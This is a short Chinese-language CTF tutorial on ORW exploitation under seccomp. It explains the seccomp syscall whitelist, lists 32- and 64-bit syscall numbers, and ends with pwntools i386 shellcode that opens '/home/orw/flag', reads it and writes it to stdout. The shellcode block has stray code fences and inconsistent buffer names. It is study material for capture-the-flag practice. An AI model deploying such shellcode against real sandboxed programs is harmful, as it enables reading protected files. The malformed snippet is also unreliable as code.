ORW使用的前提
程序对于一些程序限制了程序的行为,一般来说,比较常见的是只开放open
、read
和write
这三个行为,只允许程序调用这三个函数,所有称为 orw
seccomp介绍
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种”安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
seccomp 简单来说就是一个白名单,每个进程进行系统调用(system call)时,kernal 都会检查对应的白名单以确认该进程是否有权限使用这个系统调用。这个白名单是用 berkeley package filter(BPF)格式书写的。
系统调用号
32位下的系统调用
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_execve 11
#define __NR_chmod 15
64位的系统调用
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_mprotect 10
#define __NR_execve 59
#define __NR_chmod 90
常用的shellcode
from pwn import *
shellcode = asm(
# fd = open('/home/orw/flag', 0)
push 0x00006761;
push 0x6c662f77;
push 0x726f2f65;
push 0x6d6f682f;
mov ecx, 0x0;
mov ebx, esp;
mov eax, 0x5;
int 0x80;
```
#read(fd, bss+0x200, 0x40)
```
mov ebx, eax;
mov ecx, bss_addr+0x200;
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
```
#write(1, bss+0x200, 0x40)
```
mov ebx, 0x1;
mov ecx, bss+0x200;
mov edx, 0x40;
mov eax, 0x04;
int 0x80;
```
) ```